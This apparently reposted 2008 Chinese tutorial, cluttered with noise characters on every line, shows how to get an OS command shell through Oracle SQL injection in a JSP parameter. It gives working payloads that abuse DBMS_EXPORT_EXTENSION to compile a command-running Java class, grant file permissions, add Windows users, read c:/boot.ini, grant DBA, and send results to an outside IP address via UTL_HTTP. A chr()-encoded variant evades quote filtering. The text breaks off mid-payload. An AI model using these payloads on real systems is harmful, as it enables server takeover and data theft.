: D+ J2 z* m$ P( \( p
( }& c' P) ^, E6 X0 M! ~8 f8 b介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
+ V) r0 m8 p3 u5 x+ F! W$ j0 o% J% h4 @
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成( w2 A1 m5 Y$ v6 i0 [$ ~
% U3 \7 w3 f9 S+ l$ `' K/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)' B1 N' ], I1 l6 h
+ R+ d! b0 E. V& C8 n
的形式即可。(用" 'a'|| "是为了让语句返回true值)
7 X" Y. Z* L+ f9 N2 }& y a% c- X$ n7 t: F
语句有点长,可能要用post提交。" H4 S( F1 ~3 \+ `# a
4 n6 U3 A$ K' ?; v* h+ g+ i: d g0 u# e; _5 l) U' c# ?
8 Z- T% X. U# o6 |7 U3 I
以下是各个步骤:
. \/ g& v& Y+ N: ?* s( e" F
6 K" I! Z' C4 O. s1.创建包/ N! d' E7 ^- f# o- E8 l* ?* W
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:" _: `, \/ V% O& r& V3 z
5 u" ]/ f/ i3 K* n% m! B' h% G) v5 ~9 X
/xxx.jsp?id=1 and '1'<>'a'||(8 w) j s) b0 u3 m
& l+ i& r5 x; v8 f+ J/ |select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
% L+ x7 O* W& y% I1 I0 Bcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(0 u, j6 G3 b: u9 z# h
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
0 \" V4 m% D# n# @, l- o% A, B}'''';END;'';END;--','SYS',0,'1',0) from dual1 E$ r( h# G% l1 b) y7 W' C
6 d+ V8 C; C/ ~
)
" S9 g: h3 |/ P) W
# w6 S; s1 Q. w------------------------
8 E$ P. I A' J/ F# J* v" ?如果url有长度限制,可以把readFile()函数块去掉,即:% G% t& W' q5 c; r6 ]) Q5 w
/xxx.jsp?id=1 and '1'<>'a'||(0 Z5 L ~! o6 x7 ~3 N! X
; P7 [- s' ` @( Wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''/ ^8 D0 J4 \8 J, i# I4 k: ?
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
& p. s/ W1 C- v1 A* L+ ?new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
, ~, b% d7 s, _+ ]$ ^}'''';END;'';END;--','SYS',0,'1',0) from dual e5 K5 e! w" i! p, S
, a/ M9 P/ R7 ~: Z- }; X
)6 L) ?2 S2 Z% Z& q! S3 |
8 k G- R! C5 V# o5 [0 [同时把后面步骤 提到的 对readFile()的处理语句去掉。
8 Q9 y% t8 ^& n0 H/ D0 V------------------------------# r6 a2 n6 L$ e5 e) G6 F
4 P0 d( i0 S/ ]: `# D5 j
2.赋Java权限
4 P! _) j8 s6 U6 Y
& z0 w/ A4 ?8 l8 r; \( Tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual- u4 u2 ~, N% `7 z
) ~; K A* a5 c; K5 d+ j4 |5 h! O& t9 u8 j
A. A" V' K- g/ |- D ^* V1 ?* w3.创建函数
9 A( G" v6 e; W
# Z% Y i: Y. ?" s' ]2 d) Hselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
" B0 n8 e5 `" ~9 _; F1 f0 |" q9 dcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
. G# E& D' q6 [1 ?/ ?2 h) g
4 p9 B$ N X% vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
" O' x! B9 a- {* _create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
. F5 X& i, a. U; X' n3 ]' K k2 Q- j, r
4.赋public执行函数的权限
. u8 A, q# k1 s/ v5 s# u0 w
( M' N% A9 e% \" h* W+ {) n$ pselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual4 Q3 P% {' _0 `; d: w Q0 \
* x0 d# i3 K w$ L0 }. m5 W) Kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual3 \# }# [3 d5 ^) z7 j
" x' P! w( f/ Y* k( t9 z$ S
$ }% D) @" Y) ^# U4 R6 ^" Y8 m4 L0 D" m: P; [
5.测试上面的几步是否成功
0 u; S& K+ }! L2 }4 | F/ ]
, o+ S2 V8 @4 ]+ Q0 Fand '1'<>'11'||(
/ y; b% _3 U1 P- p& o) f# @select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
5 i( v8 n" Q; s4 K/ C)
: q8 P! F& D- t* O
, s+ v0 {, }+ ?4 \6 Mand '1'<>(
% k7 Y. i- ~3 ~, K' y% I% Wselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'
0 ^* _6 R) Z2 T3 M)
. x; M# u: y% z4 x/ ^
2 b% I% U7 k5 \1 i; a9 `6.执行命令:
X$ ?) j/ }# j! H( C7 D3 S( ^9 i# b( p d
/xxx.jsp?id=1 and '1'<>(6 K: L6 m4 H& y
select sys.LinxRunCMD('cmd /c net user linx /add') from dual" z c a1 |8 r/ j7 `6 Z2 c) p
)
! u+ J0 j; j+ s7 `% Z3 Q; m9 r, x" H
/xxx.jsp?id=1 and '1'<>() [/ V& l7 u% n5 Y
select sys.LinxReadFile('c:/boot.ini') from dual
# |7 R5 W* G# [% j1 m0 P2 n! y4 A)+ G3 G, y& p2 g, \( T0 M
/ u( i" }$ @+ V$ ~, ~
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。' _- O ?. K, Y" P
如果要查看运行结果可以用 union :7 ?" \. Y: [( ^7 s9 U) v) M
/ A- s/ |+ }- I/ V5 B/ ^& F- E
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual: L- z+ |5 a' U1 w0 a4 M. o6 {
- G) r$ G, n$ `; M5 \7 a5 v或者UTL_HTTP.request(:
7 m5 ?2 z3 j# V! p8 u( d
N4 z' {! L+ P* I# ?$ X/ a/xxx.jsp?id=1 and '1'<>(
3 X: _$ l% I- p: ?2 q; v) ?# nSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual9 n# q1 Z) _6 L/ B
)5 F9 P" m( Y, ~2 f6 `4 `
" z `& ]6 T+ a8 o/xxx.jsp?id=1 and '1'<>(' R8 {" ~/ D6 m: b7 f8 E. S& r
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
9 ~9 D8 l1 c) k6 e0 z5 w) v6 i# o- A0 i% z: j% t
- c$ u3 L2 l8 `. m9 \3 z* C8 S+ Q, h
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。! _2 A* O* G }& K `
3 [+ [2 l% s& b1 C' k9 T' J& ^ j2 x$ V1 }. G' T. t& \
! `: f" n' [1 }+ K8 `
9 O8 v! I# [7 n9 t8 h/ s% J8 Y! I) S t
--------------------
+ U& a5 E& x9 l- |% G o( z ]6 O8 ^8 P/ k
6.内部变化' P3 W) ~: Y2 P% W! f* K) Y9 k
通过以下命令可以查看all_objects表达改变:
0 v" E: |$ G, f% {$ y# Fselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
" Z' n& a: v% w; o( d- G/ J4 j% B. G. d' i4 k$ `$ `
7.删除我们创建的函数
- _/ G6 c* o, q. zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
8 i$ |3 h' c- l' @drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
7 E# O" \" m5 H; x# Y! s6 s5 X; z G9 n9 U" n, N
+ K2 n5 g# Y. Z, ?' q
c/ }! A$ }3 j% p
y0 c2 m! ?' }+ f/ w" t2 r) `( d" G. d$ Q* h
====================================================! p+ d) G1 }6 l$ {3 {3 F. P
全文结束。谨以此文赠与我的朋友。
8 {, \' G) D y$ ~, K) T T3 }, Y' `( z
linx
8 A! r6 T1 p8 _3 G8 h124829445
2 j! K1 M- X3 o9 B0 ?2008.1.125 z) A: s/ A2 T# V% C% B5 p
linyujian@bjfu.edu.cn
# Q8 ^ i$ D& G
) n, R& E$ t b$ Q z/ R) o2 \: s% D5 U5 ]: v+ G* ]3 c
" u) i3 o: \6 ?7 f/ ]2 k" `7 S- R: I
5 \6 N( V! I% j g2 C8 C) ?+ ], q
======================================================================
! T3 F8 W3 T8 @/ L; a* U- S
9 Q. n. e t; d$ O测试漏洞的另一方法:' Z7 [/ o4 r% z0 b# F9 t+ _
; L& N+ y# b; B; L创建oracle帐号:" {+ A4 U! I7 C9 K+ A4 u
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
/ R3 E) ^( ~+ j, `$ U8 }* c: O# DCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual& h9 f. b+ i; [! m- `5 F
% M% P" f) f7 {5 v9 R/ i8 y
即:
- _& ^. X# }; o" j( Hselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
5 Y! d7 _. k& D; d( vchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual1 F) p3 c( v$ O b7 x$ ]! ]
. z; ^- |8 l( S7 ]4 Z
确定漏洞存在:6 N d. m1 }; k: F8 k
1<>(
! n( i% N( {1 Uselect user_id from all_users where username='LINXSQL'
1 J& V% U7 _/ d3 j)
2 g4 j& f ]& E, T& ?7 |
0 s9 ]! z% u, i0 k' ^8 q给linxsql连接权限:0 n* v: y/ w; K
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''* f" d3 R: B& u8 t
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
# T5 o( {4 j2 x' K% D8 J% I y$ n4 |- Z. H0 x$ E9 Y
删除帐号:
' _8 {0 A: t+ H$ Y& Nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
* M$ W9 i a% R8 q! ]drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
% p p, C$ ~! W2 h% N3 f; D$ M
& S4 M# s/ h. j# h7 V1 ?0 U- R======================
/ k: a* K+ Q8 o
+ E3 ^ ?& w8 G以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
# M1 i- i4 d ~- g# z2 T9 D
) @3 {* D- s0 `- [/ V7 h1.jsp?id=1 and '1'<>(7 U7 J, a& c5 u
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
. Z- B8 G1 i' l( ]create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
" y$ z* s) Z" V3 ^3 ^- L- y) m) and ...3 X* |) E' m4 A, T% X% v
+ T1 O5 s! a6 n0 s. }' S1 Y
1.jsp?id=1 and '1'<>(4 H0 ^ ]8 G( C1 y' I+ a8 {$ O
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
& ^7 Y) r8 V9 z) q N, t# I5 P7 u8 [* S) and ...* H7 v/ O2 b! H- s, U
3 Z% z0 V6 N6 c4 V: `1.jsp?id=1 and '1'<>(( ^* X- A0 w$ ]$ A e
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
9 h+ w6 [/ g1 `* ]( [$ {) and ...3 J2 h( [3 x* b4 \; s7 ~" |/ y
. F8 j: s+ o4 ?5 D/ G; b
8 X8 b- B- f1 d2 \: F
% m1 x+ }1 d0 e+ s* a( b% P
1.jsp?id=1 and '1'<>(7 V8 J! A# f# u6 T* x
SELECT sys.Linx_Query('declare pragma
/ i: J: m+ E7 |* W! I. m- l, I, m2 C, aautonomous_transaction; begin execute immediate ''
' O2 \& M; S* I& Hselect 1 from dual: @5 ]' q; b* C6 J0 k
''; commit; end;') from dual. ?( S$ }/ L: E/ c
) and ...
. v/ _1 L- r1 {0 D3 b. g. ^, J% m
多语句:5 T! O. G" X% b
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual
W" S5 Z8 D3 |5 ^* g
6 Z& _; t t* p. K/ @创建用户(除非当前用户有system权限,否则无法成功):- \- h/ ^# F6 R: P
SELECT sys.Linx_Query('declare pragma
C% \7 L% G( {# Jautonomous_transaction; begin execute immediate ''
1 y* G5 d7 y# ]4 W6 MCREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User* m7 L1 C2 L0 u: z5 y
''; commit; end;') from dual
r) H' k) _$ B. J- E e Y3 W) q4 o- v0 h% r( E Z8 Y
F1 E+ S3 x4 ]2 J
) K Q: j3 ]5 S( @1 A, g$ y
+ ?' D1 s; j) L/ h4 p4 H) t! z
. V% f8 W; O+ R3 k' N================, K6 _( `' [( Z, P2 ^5 J9 g
以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()" ^) d% ?& H' n
5 T% Y" }+ _, Y! ?( H
1.创建函数
' z6 _+ A. {$ j; uselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
9 P$ {8 C& f4 X9 @8 S+ ^; E( |% }create or replace function Linx_Query (p, N" @. S0 x( k; p
varchar2) return number authid current_user is begin execute immediate8 s9 Y% Q, K5 L
p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;9 Z4 g+ `" N" D. ^3 \
1 m0 X! o8 X3 c, n) q1 c8 \: B
如果有权限,以下语句应该允许正常2 L& d. H: l3 d$ y' v- a
select sys.linx_query('select 1 from dual') from dual; ]4 y, L0 A1 h( Z: _. W1 m0 h
! d& q1 n" _8 j
不然的话运行:' b0 ]2 ]. r( ?' L
; S: U% C4 i. u8 J0 F; y5 M$ e0 `
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''0 a; l- e: ~" W3 s
grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual
! { w( R2 {$ j- j! `/ Q
5 `0 L- j, C( ]4 e0 w; m1 N$ V; b2 }0 }
2 \- Q: k' |5 q! X0 m2 ^
2.创建包. J1 \, a0 i l+ g
SELECT sys.Linx_Query('declare pragma
2 m2 J' d. y9 i. \% nautonomous_transaction; begin execute immediate ''
! w4 y/ C" R8 K4 G3 p- xcreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
j9 [. V# j( U5 l* m4 O3 bnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
3 ~ F) D% o9 x7 \2 _
: q% X4 I4 v$ s5 o k3.创建函数0 n, W; M$ u3 }/ Y; A
SELECT sys.Linx_Query('declare pragma
`- f* z1 a" j v; i# X' zautonomous_transaction; begin execute immediate ''# R8 ]7 F* e) ~* Z2 g, w5 c
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual; D4 u+ |+ Z* _* u
. h, T- S: J: G/ l4.给权限
5 O# P" N6 v, I' y给用户SYSTEM执行权限:
3 n. U" \; g1 p- g6 N! v# b9 ~# D" y3 W; ]1 ` O" a6 H p
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
3 v& j) X3 B/ s5 u% X& i7 n3 e( C, h7 Z; w/ y e
! ~) D% K6 b6 W0 g3 x$ J4 P; c/ m# P, L
5.执行函数
( g3 F/ `& Q, ^0 ^select RunCMD2('cmd /c dir') from dual
5 A( j: H5 P9 Z# j: [$ j9 h! i
4 b8 k% Q7 }0 h/ O
5 D: x* z q! j* y0 y! v0 n; y S: B& _5 k4 R
R) E/ ?) e: D! r/ T) q" a/ { M
/ \2 }; q6 N4 m9 |+ j d==================
; a i" K0 K, C5 M' \================================ b- S- |: W h$ W) u
0 b, k+ y& S9 J, j0 g$ M8 x. H以下是无 " ' " 版:4 l* C+ F2 P) O* X* p( _
l" V5 g/ M3 c/ C- _
以下是各个步骤:& B/ C9 ~' W! V- c" ~# f
, W" Y" M p3 S; F4 f8 @5 U
1.创建包4 l, ^0 s1 f4 \
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:6 W- v6 u) N8 _5 q. ?* r
因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:" H/ A" d% K; G2 M$ [
# o0 G4 k% @. @: {2 o0 p/xxx.jsp?id=1 and chr(49)<>chr(50)||(
8 y; q+ S1 ?4 ?" Z
9 d0 U- T% q: u! Z. ]. l' Vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
0 E$ d3 E! v% S7 {2 T* e5 ?chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||: \) r/ v9 h0 g# P& a
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
* d7 ~! P" z1 n" }* Ichr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
2 c+ N$ f7 u3 m- fchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||
0 b% X8 v3 e( s& B) x0 ]chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||7 S: N- T; k1 }$ y* Q4 S- W5 }6 F0 f
chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
9 A) W" p$ s9 rchr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||$ g' H K9 O* [" z" \3 d" Z! b n
chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||3 {7 T3 \3 V9 V0 r1 \
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||/ Y. C5 v( c* e1 s2 [
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
2 k- [4 B4 b7 d+ x4 v: x: hchr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||$ ~# g3 F. Y, c7 U9 X7 F. {9 }/ _$ i
chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
" _ j- P0 w( I; l2 gchr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||
3 T6 G8 F% |- A5 J: [# ichr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||% N/ V( `/ g& u. \5 r/ k3 N
